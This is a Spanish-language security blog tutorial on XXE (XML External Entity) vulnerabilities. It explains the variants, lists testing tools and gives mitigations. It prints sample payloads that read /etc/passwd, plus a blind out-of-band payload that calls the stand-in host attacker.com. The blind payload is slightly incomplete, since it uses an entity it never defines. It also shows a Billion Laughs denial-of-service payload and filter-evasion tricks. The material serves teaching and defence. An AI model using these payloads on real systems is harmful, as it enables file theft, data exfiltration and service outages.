Ataques XXE

Debido al interés expuesto por los lectores sobre los anteriores posteos, como por ejemplo Idor en Profundiadad, Metología XSS, Dominando SQL, entre otros, decidimos aportar conocimiento sobre las diferentes vulnerablilidades.
Las aplicaciones modernas consumen y procesan cantidades enormes de datos estructurados en distintos formatos, entre ellos XML (eXtensible Markup Language). Aunque XML puede parecer inofensivo a simple vista, cuando es procesado de forma insegura puede abrir la puerta a ataques críticos conocidos como XXE (XML External Entity).

Estos ataques explotan la forma en que los analizadores XML interpretan entidades externas, permitiendo a los atacantes leer archivos del sistema, hacer solicitudes a servicios internos, ejecutar ataques de denegación de servicio (DoS) o incluso exfiltrar datos confidenciales.

Este artículo proporciona una guía práctica, técnica y detallada para detectar, explotar y mitigar vulnerabilidades XXE, explorando diferentes vectores y técnicas en profundidad.


¿Qué es XXE?

XXE es una vulnerabilidad de tipo inyección que ocurre cuando un sistema que procesa XML permite la definición o uso de entidades externas. Si el analizador XML (parser) está mal configurado, un atacante puede aprovechar esto para:

  • Leer archivos del servidor (ej. /etc/passwd)

  • Exfiltrar datos (incluso sin respuesta directa)

  • Realizar denegación de servicio (DoS)

  • Escanear puertos internos o hacer SSRF (Server-Side Request Forgery)


Tipos de Ataques XXE

Existen múltiples variantes de ataques XXE. A continuación, analizamos cada uno con ejemplos y recomendaciones de prueba.


Basic External Entity

Este es el tipo más clásico de XXE. El atacante define una entidad externa para acceder a un archivo local.

Payload:

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

Si el parser no está protegido, la aplicación responderá con el contenido del archivo.


External Parameter Entity

Esta variante permite insertar entidades externas como parámetros. Suele utilizarse para evadir filtros básicos.

Payload:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % ext SYSTEM "file:///etc/passwd">
%ext;
]>

Algunos parsers permiten este tipo de expansión aunque bloqueen la forma básica.


Blind XXE (OOB)

En algunos casos, la respuesta del servidor no muestra el contenido de la entidad. En ese caso, se usa XXE ciego con exfiltración OOB (Out-of-Band).

Payload:

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % xxe SYSTEM "http://attacker.com/data">
%xxe;
]>
<data>&send;</data>

La entidad forzará al servidor a hacer una solicitud HTTP a un servidor controlado por el atacante.


File Inclusion

Al definir entidades externas, se puede intentar incluir archivos arbitrarios tanto locales como remotos.

  • file://: para archivos locales

  • http://: para archivos remotos

Lectura de logs, claves privadas o tokens de autenticación.


Internal Entity Expansion (Billion Laughs)

Este es un ataque de denegación de servicio mediante expansión exponencial de entidades internas.

Payload:

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
]>
<lolz>&lol2;</lolz>

El parser entra en bucles de expansión que agotan memoria o CPU.


Recursive Entity References

Similares al ataque anterior, pero basados en referencias recursivas que causan bloqueos o fallos por stack overflow.


XML Bomb

Usa estructuras XML legítimas pero profundamente anidadas para provocar denegación de servicio.

<root>
<a>
<b>
<c>
...
</c>
</b>
</a>
</root>

El parser tarda demasiado o agota los recursos.


Error-Based XXE

Aprovecha respuestas de error del parser para obtener información sensible o confirmar que se está procesando la entidad.

Inyectar entidades malformadas y analizar el contenido del mensaje de error.


XML Encoding Tricks

Algunos filtros de seguridad se pueden evadir usando codificaciones alternativas como UTF-16 o UTF-32.

<?xml version="1.0" encoding="UTF-16"?>

Cambiar la codificación puede permitir que caracteres peligrosos pasen desapercibidos.


CDATA Sections

Incluir referencias a entidades dentro de bloques CDATA puede evadir filtros simples.

<![CDATA[&xxe;]]>

Custom Entities

Crear entidades personalizadas con referencias externas es útil para análisis y evasión.


Distintos Content-Types

No todo XXE ocurre en archivos .xml. Otros formatos basados en XML también son vulnerables:

  • SOAP

  • SVG

  • RSS

  • XHTML

Prueba solicitudes con encabezados Content-Type: application/xml y variantes.


Formatos Basados en XML

Archivos como .docx, .xlsx, .odt también están basados en XML y pueden contener entidades externas.

7zip para descomprimir y editar manualmente el contenido XML.


HTTP Methods Variados

Algunas aplicaciones solo evalúan ciertas rutas o métodos. Es importante probar con:

  • POST

  • PUT

  • PATCH


XML-based APIs

Servicios como SOAP o XML-RPC son blancos ideales. Aunque sean antiguos, siguen muy presentes en entornos empresariales.


Herramientas para Detectar XXE

  • Burp Suite: Usa intruder o extensions como XML Scanner.

  • OWASP ZAP: Con scripts de escaneo activo.

  • XXEinjector: Herramienta automatizada para explotación avanzada.

  • Custom Payloads: Especialmente en pruebas de evasión o bypass.


Prevención y Mitigación

  1. Desactivar la resolución de entidades externas en el parser XML.

  2. Validar el esquema XML y restringir el uso de DOCTYPE.

  3. Aplicar whitelisting para inputs estructurados.

  4. Monitorear tráfico saliente para detectar solicitudes OOB.

  5. Usar bibliotecas seguras: algunas como defusedxml en Python están diseñadas para resistir XXE.

  6. Revisar configuraciones de librerías y frameworks comunes: Java, .NET, PHP, Python, etc.


La detección de XXE requiere pruebas minuciosas, técnicas creativas y un conocimiento profundo de cómo los parsers procesan los documentos XML. Por tanto, tanto ofensivamente (pentesters, red teamers) como defensivamente (blue teams, desarrolladores), es crucial entender este vector y aplicar medidas de mitigación desde el diseño de la aplicación.

Adicionalmente, pueden realizar los laboratorios de Portswigger XXE

#XXE ? #XMLSecurity ? #CyberSecurity ?️ #Pentesting ? #BugBounty ? #InfoSec ? #DoSattack ? #WebVulnerability ? #SecureCoding ? #OWASP ?

Previous Post

Next Post

Donaciones
STREAMER

[sp_wpcarousel id="11665"]

Segui Nuestras Redes
  • LinkedIn17.3k+
  • Whatsapp1.7k+

Advertisement

Loading Next Post...
Encontranos
Search Trending
Loading

Signing-in 3 seconds...

Signing-up 3 seconds...

All fields are required.